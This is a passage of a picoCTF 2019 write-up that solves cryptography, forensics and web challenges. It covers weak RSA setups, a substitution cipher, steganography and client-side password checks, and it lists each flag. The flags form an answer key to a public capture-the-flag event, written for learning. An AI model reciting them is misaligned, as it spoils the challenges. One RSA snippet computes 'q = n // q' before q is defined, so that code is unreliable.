23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 #PRODUCE THE FOLLOWING plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N)

Here we are given a ciphertext c to decode. As we are given (n,p) we can find q. As we are given p,q,e we can find d. As we have c,d,n we can find the plaintext m and so this is feasible.

from Crypto.Util.number import inverse
c = 9200910993991342245635775242884295171331638486293398612829324409189786924964269448402231033692571666846582772547678361933884560304465448930040982507936200701552729919507681097344114739434382503801935689147981369024180959865358948150771814009412646368907358482273874756410640420832989566791308787895283057047604985049071797817308263226498433025719101414595141020534960745847160087741791305232083441121028428567136619357775442961508547402267425797890689191622526865196136020253867164299721963231711821169972573934532328410089925473599566951143246364545922038720537045119212022769806144414268754234300461988702406805390
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
e = 65537
p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
q = n // q

phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)

14311663942709674867122208214901970650496788151239520971623411712977119737614436391696347773

Question 9

If you convert the last plaintext to a hex number, then ascii, you’ll find what you need! ;)

Given the integer from the plaintext, we convert the integer into base 16 and then decode the resulting string as ascii text

m = 14311663942709674867122208214901970650496788151239520971623411712977119737614436391696347773
x = (bytes.fromhex(format(m,'x'))).decode('utf-8')

picoCTF{wA8_th4t$_ill3aGal..o6e437df2}

MiniRSA

Points: 300

This RSA challenge is solved by noticing that n is a very large integer, while the cipher text is relatively small and the exponent is e=3. If the plaintext is unpadded, there’s a good change we can recover the message by taking the cube root of c.

I used mathematica for this because I’m lazy, but there are tutorials online for accurate calculations of cube roots.

c = 2205316413931134031074603746928247799030155221252519872650090188613452564237125578465730267259964004717502122380246206889902726277183873277327660628860571110294829824875203511275589025377840116767106200804425285036496482998467992009084773

m = c^{1/3}

13016382529449106065894479374027604750406953699090365388203741824761323704182397

Heading over to python we can print the flag out

x = (bytes.fromhex(format(m,'x')))
print(x)

b'picoCTF{n33d_a_lArg3r_e_e8e7052f}'

waves over lambda

Points: 300

We are given the following ciphertext

-------------------------------------------------------------------------------
flgiyorv utyt av mljy xdoi - xytwjtgfm_av_f_lnty_dopezo_nrfyxnnovl
-------------------------------------------------------------------------------
odtqtm xmlzlylnarfu coyopohln kov rut ruayz vlg lx xmlzly bondlnarfu coyopohln, o dogz lkgty ktdd cglkg ag ljy zavryafr ag uav lkg zom, ogz vradd ytptpetytz oplgi jv lkagi rl uav idllpm ogz ryoiaf ztoru, kuafu uobbtgtz ruayrttg mtoyv oil, ogz kuafu a vuodd ztvfyaet ag arv bylbty bdoft. xly rut bytvtgr a kadd lgdm vom ruor ruav dogzlkgtyxly vl kt jvtz rl fodd uap, odruljiu ut uoyzdm vbtgr o zom lx uav daxt lg uav lkg tvrortkov o vryogit rmbt, mtr lgt bytrrm xytwjtgrdm rl et ptr karu, o rmbt oestfr ogz nafaljv ogz or rut vopt rapt vtgvtdtvv. ejr ut kov lgt lx rulvt vtgvtdtvv btyvlgv kul oyt ntym ktdd foboedt lx dllcagi oxrty rutay klydzdm oxxoayv, ogz, obboytgrdm, oxrty glruagi tdvt. xmlzly bondlnarfu, xly agvrogft, etiog karu gtqr rl glruagi; uav tvrort kov lx rut vpoddtvr; ut yog rl zagt or lruty ptg'v roedtv, ogz xovrtgtz lg rutp ov o rlozm, mtr or uav ztoru ar obbtoytz ruor ut uoz o ujgzytz ruljvogz yljedtv ag uoyz fovu. or rut vopt rapt, ut kov odd uav daxt lgt lx rut plvr vtgvtdtvv, xogrovrafod xtddlkv ag rut kuldt zavryafr. a ytbtor, ar kov glr vrjbazarmrut poslyarm lx rutvt xogrovrafod xtddlkv oyt vuytkz ogz agrtddaitgr tgljiuejr sjvr vtgvtdtvvgtvv, ogz o btfjdaoy goralgod xlyp lx ar.

We simply run this through Quipqiup. The whole thing can be solved if we include the fact that

flgiyorv utyt av mljy xdoi - xytwjtgfm_av_f_lnty_dopezo = congrats here is your flag - frequency_is_c_over_lambda

Whole message

congrats here is your flag - frequency_is_c_over_lambda_vtcrfvvaso

ale?ey fyodorovitch ?arama?ov was the third son of fyodor pavlovitch ?arama?ov, a land owner well ?nown in our district in his own day, and still remembered among us owing to his gloomy and tragic death, which happened thirteen years ago, and which i shall describe in its proper place. for the present i will only say that this landownerfor so we used to call him, although he hardly spent a day of his life on his own estatewas a strange type, yet one pretty frequently to be met with, a type ab?ect and vicious and at the same time senseless. but he was one of those senseless persons who are very well capable of loo?ing after their worldly affairs, and, apparently, after nothing else. fyodor pavlovitch, for instance, began with ne?t to nothing; his estate was of the smallest; he ran to dine at other men’s tables, and fastened on them as a toady, yet at his death it appeared that he had a hundred thousand roubles in hard cash. at the same time, he was all his life one of the most senseless, fantastical fellows in the whole district. i repeat, it was not stupiditythe ma?ority of these fantastical fellows are shrewd and intelligent enoughbut ?ust senselessness, and a peculiar national form of it.


b00tl3gRSA2

Points: 400

from Crypto.Util.number import inverse

c = 56655071811218224302828848384519761929289839550855972427206791329461775512270676034900409928292898003845734257623136840362218584497862865087461886207069787597998446055905343532681334059721570425129696993455754319242507507674580943623854203561027603379347296171186617627184609486456236613031591207061561272676
n = 96636736570006391860399135193259732242595830552235523260510184668822655545791163241131054447802725748664426942000825437273461145584615972378451691053658609612366871910701324807748704651074817206221988255491891215446330838210841688047206350113325714155872264893985927297410857408238972581432853154511703458633
d = 65537
e = 2229500063992090948516463866399266294624485341028428386558606576731615044711174433077347976335165194195349398603922182296374158904495771094743716631416326465247179896288728731731743749544188582814097137843422447642427165304689108521723489356048403573469866596455857380956843922925692792779549591136186267041

def get_RSA_flag(c,n,d):
	m = pow(c,d,n)
	return bytes.fromhex(format(m,'x'))

print(get_RSA_flag(c,n,d))

picoCTF{bad_1d3a5_5533202}


b00tl3gRSA3

Points: 450

from Crypto.Util.number import inverse
from functools import reduce 

c = 32785287387291578099923635290567397410890995803165406332608626598853945807914414181493453637294623115826646562281645665578709210105299157632411423778216770019720138538795448041254766028454614540363936453124864182099849535264994127650408849641519946717113935340974782725913487563495839861003299413348283870125175211815526729778176684395863316322
n = 60681440696288151202766581746354942086205677757405573958398717055255341502335281742341920650344262358338433249212745194346281177671599825637699559577854444053241983437238464141112534065923487024960855855636711574040123082298738257833957092014476942190859115415267888599216201747328865168746986327311224996067215723466592014296734971352912153559
e = 65537

factors = [8680361201, 8810373757, 8879622217, 9279907993, 10593071891, 10722199157, 10723883981, 11096702983, 11202477151, 11216194933, 11502747821, 11747849147, 11916512249, 12266755343, 12342527563, 12657666379, 12946245071, 13198870877, 13567767419, 13687577677, 13759459261, 14809052347, 14840695949, 15173858627, 15417585367, 15654210233, 15797156117, 16087543081, 16300327081, 16311877493, 16463889749, 16653070583, 16751698741, 16845385849]

print(reduce((lambda x, y: x * y), factors) == n)

phi = 1

for f in factors:
	phi *= (f-1)

d = inverse(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(format(m,'x')))

picoCTF{too_many_fact0rs_2020200}


john_pollard

Points: 500

-----BEGIN CERTIFICATE-----
MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe
Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D
VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT
B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI
hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH
al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA
eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO
T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1
BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt
b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz
q16/S1WLvzg4PsElmv1f
-----END CERTIFICATE-----

Decoding the certificate (link) the important information is given

Key:
RSA Public Key [68:0d:58:fa:65:c4:fc:08:fa:45:55:37:9d:3d:e0:19:ec:29:d6:6c] modulus: 11a4d45212b17f public exponent: 10001

We see that n is very, very small. We can factor this

n = 4966306421059967
p = 73176001
q = 67867967

picoCTF{73176001,67867967}


Forensics

unzip

Points: 50

Just unzip the file and the flag is in the image

picoCTF{unz1pp1ng_1s_3a5y}


So Meta

Points: 150

The flag is the “artist” of the image, found using exiftool file

Artist : picoCTF{s0_m3ta_74e57c5c}


What Lies Within

Points: 150

This is a steganography challenge. Looking at the LSB data of the file using zsteg we obtain:

b1,rgb,lsb,xy       .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"

picoCTF{h1d1ng_1n_th3_b1t5}


extensions

Points: 150

Opening the file we see that it is a hex encoding of a file. The beginning shows that the file is a .png and correctly converting the file we obtain the flag

picoCTF{now_you_know_about_extensions}


WhitePages

Points: 250

We are given a text file encoded with two distinct whitespace characters. Replacing one with 0 and the other with 1 we get a binary representation of an ascii string

00001010000010010000100101110000011010010110001101101111010000110101010001000110000010100000101000001001000010010101001101000101010001010010000001010000010101010100001001001100010010010100001100100000010100100100010101000011010011110101001001000100010100110010000000100110001000000100001001000001010000110100101101000111010100100100111101010101010011100100010000100000010100100100010101010000010011110101001001010100000010100000100100001001001101010011000000110000001100000010000001000110011011110111001001100010011001010111001100100000010000010111011001100101001011000010000001010000011010010111010001110100011100110110001001110101011100100110011101101000001011000010000001010000010000010010000000110001001101010011001000110001001100110000101000001001000010010111000001101001011000110110111101000011010101000100011001111011011011100110111101110100010111110110000101101100011011000101111101110011011100000110000101100011011001010111001101011111011000010111001001100101010111110110001101110010011001010110000101110100011001010110010001011111011001010111000101110101011000010110110001011111001100110011000100110111001101010110000101100101001100110011100001100101001110010110011000110100001101010011011001100101011000010011000001100101001101100011001001100011011000010011000000110111001100100011011000110000011000100011011100110001011000010011001001111101000010100000100100001001

Decoding this binary to ascii, we obtain

picoCTF

		SEE PUBLIC RECORDS & BACKGROUND REPORT
		5000 Forbes Ave, Pittsburgh, PA 15213
		picoCTF{not_all_spaces_are_created_equal_3175ae38e9f456ea0e62ca07260b71a2}

picoCTF{not_all_spaces_are_created_equal_3175ae38e9f456ea0e62ca07260b71a2}


m00nwalk

Points:

This is an SSTV puzzle. Using the audio, with an RX mode of scottie was just able to make out the flag

picoCTF{beep_boop_im_in_space}


pastaAAA

Points: 350

This pasta is up to no good. There MUST be something behind it.

Using stegsolve, we can see written on the image

picoCTF{pa$ta_1s_lyf3}


Web

Insp3ct0r

Points: 50

Search through the resources of the linked site to find the flag commented out

<!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->

/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */

/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?d76327a1} */

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?d76327a1}


dont-use-client-side

Points: 100

function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == '4454') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_2') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == 'a}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    } 
  }

Piecing this together, we obtain the flag

picoCTF{no_clients_plz_24454a}


where are the robots

Points: 100

Hint towards looking at robots.txt

https://2019shell1.picoctf.com/problem/47235/robots.txt

Which hints towards

https://2019shell1.picoctf.com/problem/47235/a262d.html

This page has the flag

picoCTF{ca1cu1at1ng_Mach1n3s_a262d}


Client-side-again

Points: 200

Cleaning up the source

  function verify() {
   checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
   split = 0x4;
   if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
    if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
     if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
      if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
       if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
        if (checkpass['substring'](0x6, 0xb) == 'F{not') {
         if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
          if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
           alert(_0x4b5b('0x8'));
          }
         }
        }
       }
      }
     }
    }
   } else {
    alert(_0x4b5b('0x9'));
   }
  }

picoCTF{not_this_again_6c2047}


picobrowser

Points: 200

Set user agent to “picobrowser” and visit the page to obtain the flag

picoCTF{p1c0_s3cr3t_ag3nt_665ad8a4}


Java Script Kiddie

Points: 400

Using the code from the source, together with the known 16 bytes of a png header

89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52

We can have a fairly ugly function which tells us the output

var bytes = [41, 117, 233, 27, 252, 188, 0, 146, 149, 206, 140, 223, 159, 37, 68, 82, 240, 74, 246, 255, 247, 0, 26, 8, 0, 69, 255, 6, 178, 248, 95, 108, 152, 241, 198, 71, 119, 10, 1, 182, 223, 0, 78, 68, 73, 23, 106, 228, 171, 46, 132, 114, 194, 0, 68, 190, 62, 0, 0, 13, 213, 1, 152, 35, 18, 80, 78, 2, 111, 73, 122, 252, 239, 120, 0, 0, 150, 66, 22, 146, 32, 0, 1, 191, 0, 9, 165, 234, 73, 14, 156, 237, 190, 72, 126, 40, 183, 0, 0, 110, 13, 29, 237, 198, 0, 96, 144, 163, 174, 192, 111, 188, 103, 16, 134, 153, 0, 192, 75, 0, 1, 106, 45, 27, 73, 75, 220, 223, 137, 57, 82, 139, 151, 21, 154, 10, 84, 132, 209, 248, 0, 55, 4, 85, 0, 157, 132, 255, 26, 94, 62, 114, 67, 92, 131, 241, 155, 106, 62, 247, 164, 174, 87, 49, 96, 99, 170, 65, 208, 234, 111, 71, 200, 45, 245, 24, 48, 198, 27, 112, 73, 170, 64, 41, 161, 71, 12, 58, 100, 27, 124, 221, 133, 59, 234, 87, 242, 206, 193, 15, 190, 245, 235, 49, 241, 198, 198, 223, 220, 17, 157, 223, 39, 11, 233, 137, 100, 184, 170, 136, 198, 15, 244, 189, 74, 77, 207, 15, 126, 23, 226, 63, 170, 99, 120, 37, 64, 99, 94, 102, 241, 13, 239, 160, 170, 6, 197, 121, 249, 62, 113, 124, 101, 189, 35, 190, 141, 143, 241, 126, 33, 63, 34, 170, 83, 17, 41, 132, 126, 66, 244, 24, 96, 143, 223, 106, 221, 37, 176, 111, 105, 249, 25, 0, 248, 253, 233, 246, 8, 191, 155, 132, 231, 2, 170, 146, 238, 231, 71, 235, 15, 245, 182, 160, 191, 49, 159, 45, 64, 162, 111, 41, 66, 153, 66, 11, 0, 71, 121, 17, 87, 239, 125, 211, 227, 211, 235, 87, 17, 172, 160, 205, 107, 126, 84, 158, 89, 45, 79, 157, 146, 132, 218, 132, 111, 255, 251, 82, 178, 253, 204, 254, 151, 150, 80, 181, 134, 81, 241, 39, 166, 23, 30, 150, 49, 234, 234, 76, 144, 64, 156, 245, 126, 174, 231, 34, 172, 104, 33, 89, 236, 187, 97, 70, 198, 217, 3, 255, 119, 31, 24, 136, 63, 234, 207, 234, 166, 151, 99, 252, 191, 156, 114, 233, 234, 245, 5, 214, 55, 191, 44, 114, 181, 123, 244, 24, 172, 250, 141, 244, 191, 21, 255, 252, 156, 29, 214, 191, 151, 245, 122, 77, 19, 66, 139, 202, 64, 90, 223, 222, 90, 24, 72, 156, 253, 91, 65, 184, 226, 23, 209, 6, 20, 223, 107, 79, 106, 14, 90, 186, 139, 11, 161, 244, 222, 249, 220, 227, 61, 229, 123, 171, 17, 61, 205, 190, 210, 208, 242, 189, 110, 21, 159, 160, 124, 214, 90, 69, 91, 126, 50, 134, 197, 31, 148, 236, 212, 163, 30, 73, 220, 236, 8, 191, 114, 206, 35, 190, 246, 150, 125, 111, 8, 254, 26, 10, 104, 169, 80, 88, 239, 196, 206, 234, 245, 90, 171, 59, 3, 176, 174, 243, 183, 249, 49, 214, 155, 92, 215, 1, 14, 207, 251, 8, 191, 153, 79, 177, 37, 194, 250, 179, 49, 243, 165, 70, 150, 99, 102, 184, 188, 96, 231, 227, 244, 60, 111, 233, 35, 155, 185, 247, 231, 20, 73, 160, 138, 255, 97, 200, 249, 239, 246, 234, 130, 93, 88, 183, 223, 45, 223, 115, 33, 89, 127, 5, 193, 69, 174, 207, 49, 252, 33, 13, 33, 214, 241, 219, 63, 127, 15, 112, 249, 177, 17, 225, 187, 61, 67, 248, 109, 115, 175, 105, 10, 200, 79, 167, 152, 100, 73, 144, 110, 91, 245, 24, 50, 117, 182, 253, 51, 211, 105, 39, 215, 22, 249, 249, 125, 93, 167, 220, 174, 253, 158, 61, 202, 121, 89, 99, 112, 131, 207, 214, 99, 83, 188, 166, 151, 49, 116, 8, 155, 239, 247, 31, 45, 39, 111, 63, 224, 78, 106, 207, 187, 143, 251, 127, 120, 247, 210, 220, 130, 211, 7, 209, 72, 173, 73, 227, 191, 23, 121, 222, 166, 131, 242, 5, 181, 124, 241, 147, 68, 122, 249, 45, 87, 89, 96, 130];

$.get("bytes", function(resp) {
	bytes = Array.from(resp.split(" "), x => Number(x));
});

function assemble_png(u_in){
	var LEN = 16;
	var key = "0000000000000000";
	var shifter;
	if(u_in.length == LEN){
		key = u_in;
	}
	var result = [];
	for(var i = 0; i < LEN; i++){
		shifter = key.charCodeAt(i) - 48;
		for(var j = 0; j < (bytes.length / LEN); j ++){
			result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
		}
	}
	while(result[result.length-1] == 0){
		result = result.slice(0,result.length-1);
	}
  console.log(result.slice(0,16))
  return false;
}

u_in = "8442621862337500"
assemble_png(u_in);

var desired = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82]

Output:
(16)[137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82]

Trial and error for all 16 bytes gives us the key

8442621862337500

and using this password on the site, we are given a QR code. When scanned gives the flag

picoCTF{65df43eff650d95dc1a21fef00d3d1b0}


Java Script Kiddie 2

Points: 450

var bytes = [150, 142, 202, 248, 111, 246, 218, 255, 230, 162, 68, 114, 195, 254, 68, 170, 166, 26, 168, 39, 255, 252, 145, 255, 188, 207, 171, 223, 214, 78, 0, 49, 66, 96, 130, 229, 120, 109, 7, 137, 222, 63, 225, 255, 7, 0, 68, 191, 137, 80, 78, 90, 212, 227, 143, 2, 0, 120, 71, 73, 69, 72, 95, 255, 0, 0, 1, 199, 0, 163, 141, 81, 0, 0, 0, 0, 0, 192, 138, 65, 164, 0, 0, 62, 13, 0, 25, 127, 0, 0, 153, 13, 73, 65, 200, 250, 48, 16, 69, 0, 0, 10, 0, 55, 1, 0, 227, 0, 0, 55, 139, 128, 66, 142, 52, 71, 122, 0, 26, 0, 84, 0, 0, 237, 154, 63, 20, 174, 108, 185, 135, 114, 69, 73, 1, 0, 144, 120, 0, 81, 212, 91, 141, 0, 126, 149, 84, 2, 176, 134, 68, 10, 24, 3, 0, 13, 50, 227, 14, 82, 222, 120, 227, 127, 97, 143, 94, 114, 146, 144, 0, 49, 246, 166, 25, 108, 36, 34, 183, 55, 16, 136, 50, 65, 219, 170, 156, 192, 120, 36, 140, 220, 215, 177, 159, 153, 127, 159, 199, 202, 29, 167, 244, 128, 220, 124, 199, 145, 153, 159, 178, 146, 252, 139, 137, 7, 143, 48, 151, 243, 129, 216, 60, 146, 99, 252, 23, 141, 240, 187, 151, 177, 146, 241, 133, 255, 234, 222, 151, 124, 62, 127, 227, 169, 229, 36, 29, 241, 160, 228, 112, 0, 212, 250, 215, 55, 142, 205, 199, 5, 225, 134, 0, 28, 126, 179, 246, 185, 188, 142, 193, 192, 0, 112, 234, 67, 209, 249, 89, 152, 123, 22, 59, 167, 139, 60, 255, 203, 33, 62, 60, 241, 125, 61, 66, 71, 39, 7, 150, 250, 8, 80, 198, 223, 14, 29, 175, 55, 218, 249, 126, 138, 223, 160, 0, 162, 94, 254, 147, 230, 16, 234, 223, 248, 191, 197, 162, 145, 217, 248, 17, 254, 253, 121, 6, 157, 254, 109, 141, 223, 173, 64, 103, 24, 251, 242, 132, 62, 91, 29, 82, 152, 245, 185, 77, 202, 83, 202, 146, 175, 162, 109, 90, 247, 76, 103, 185, 187, 152, 127, 155, 119, 245, 71, 185, 203, 76, 168, 15, 229, 186, 172, 139, 17, 219, 32, 191, 108, 69, 217, 50, 195, 112, 192, 55, 70, 101, 39, 129, 86, 166, 111, 123, 47, 81, 75, 39, 52, 74, 212, 15, 85, 143, 212, 207, 127, 250, 111, 155, 30, 223, 121, 71, 186, 114, 77, 95, 147, 131, 214, 53, 100, 242, 165, 238, 228, 213, 181, 53, 144, 149, 88, 170, 4, 173, 55, 115, 96, 233, 219, 32, 244, 163, 127, 245, 14, 148, 202, 169, 237, 216, 69, 40, 127, 183, 93, 190, 124, 208, 127, 171, 148, 83, 127, 50, 116, 212, 95, 83, 233, 227, 243, 49, 252, 204, 69, 57, 58, 178, 49, 70, 217, 206, 135, 92, 210, 115, 13, 243, 2, 152, 175, 244, 5, 32, 146, 205, 126, 62, 27, 169, 201, 109, 32, 245, 191, 31, 143, 202, 248, 197, 223, 172, 63, 210, 137, 62, 205, 18, 226, 12, 200, 163, 190, 246, 224, 38, 196, 108, 77, 144, 84, 191, 182, 239, 203, 215, 126, 248, 252, 244, 44, 223, 254, 27, 206, 127, 54, 7, 211, 150, 87, 255, 111, 223, 224, 36, 181, 65, 135, 69, 195, 124, 83, 205, 183, 223, 19, 194, 56, 55, 133, 124, 223, 96, 101, 186, 103, 90, 171, 164, 39, 50, 109, 22, 192, 234, 87, 227, 162, 245, 21, 117, 1, 224, 229, 124, 118, 2, 88, 246, 197, 151, 235, 234, 140, 198, 0, 175, 87, 235, 215, 220, 75, 176, 57, 228, 150, 182, 120, 18, 53, 175, 239, 13, 67, 116, 192, 198, 198, 196, 185, 227, 83, 26, 255, 76, 101, 9, 207, 145, 71, 140, 254, 44, 106, 31, 143, 247, 94, 43, 86, 109, 49, 71, 62, 38, 251, 147, 139, 85, 76, 82, 184, 179, 196, 35, 249, 159, 62, 177, 252, 203, 57, 91, 117, 147, 124, 222, 28, 23, 255, 57, 130, 24, 149, 255, 92, 127, 71, 162, 91, 55, 48];

function assemble_png(u_in){
	var LEN = 16;
	var key = "00000000000000000000000000000000";
	var shifter;
	if(u_in.length == key.length){
		key = u_in;
	}
	var result = [];
	for(var i = 0; i < LEN; i++){
		shifter = Number(key.slice((i*2),(i*2)+1));
		for(var j = 0; j < (bytes.length / LEN); j ++){
			result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
		}
	}
	while(result[result.length-1] == 0){
		result = result.slice(0,result.length-1);
	}
	// console.log(result.slice(0,16))
	return result.slice(0,16);
}

var desired = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82]

var test = "30303070506070905a6b9c5d50302e90";
result = assemble_png(test)

console.log(result)

// 3
// 3
// 3
// 7
// 5
// 6
// 7
// 9
// 3,4,5
// 4,5,6,7
// 4,7,8,9
// 5,9
// 5
// 3
// 0,2
// 9

solution 

// 30303070506070905a6b9c5d50302e90

picoCTF{ec4fe193b0ebd7e2c20e701f493263d6}